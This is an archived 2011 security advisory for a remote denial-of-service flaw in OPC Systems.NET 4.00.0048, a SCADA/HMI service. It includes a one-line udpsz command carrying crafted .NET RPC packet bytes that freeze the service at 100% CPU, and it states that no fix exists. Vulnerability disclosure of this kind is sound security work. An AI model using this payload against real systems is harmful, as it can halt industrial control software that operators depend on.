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OPC Systems.NET 4.00.0048 Denial Of Service

🗓️ 11 Oct 2011 00:00:00Reported by Luigi AuriemmaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

OPC Systems.NET 4.00.0048 Denial Of Service vulnerability on Window

Code
`#######################################################################  
  
Luigi Auriemma  
  
Application: OPC Systems.NET  
http://www.opcsystems.com/opc_systems_net.htm  
Versions: <= 4.00.0048  
Platforms: Windows  
Bug: Denial of Service  
Exploitation: remote  
Date: 10 Oct 2011  
Author: Luigi Auriemma  
e-mail: [email protected]  
web: aluigi.org  
  
  
#######################################################################  
  
  
1) Introduction  
2) Bug  
3) The Code  
4) Fix  
  
  
#######################################################################  
  
===============  
1) Introduction  
===============  
  
  
From vendor's website:  
"As a Service Oriented Architecture the OPC Systems Service can connect  
to data from OPC Servers, OPC Clients, Visual Studio Applications,  
Microsoft Excel, and databases ... breakthrough .NET products for  
SCADA, HMI, and plant floor to business solutions to shorten your  
development to deployment time."  
  
  
#######################################################################  
  
======  
2) Bug  
======  
  
  
OPCSystemsService.exe can be freezed with CPU at 100% through a  
malformed .NET RPC packet.  
No additional research performed.  
  
  
#######################################################################  
  
===========  
3) The Code  
===========  
  
  
http://aluigi.org/testz/udpsz.zip  
  
udpsz -l 2000 -c ".NET\1\0\0\0\0\0\xff\xff\xff\xff\4\0\1\1\x25\0\0\0tcp://127.0.0.1/OPC Systems Interface\6\0\1\1" -T SERVER 58723 0x80  
  
  
#######################################################################  
  
======  
4) Fix  
======  
  
  
No fix.  
  
  
#######################################################################  
  
  
`

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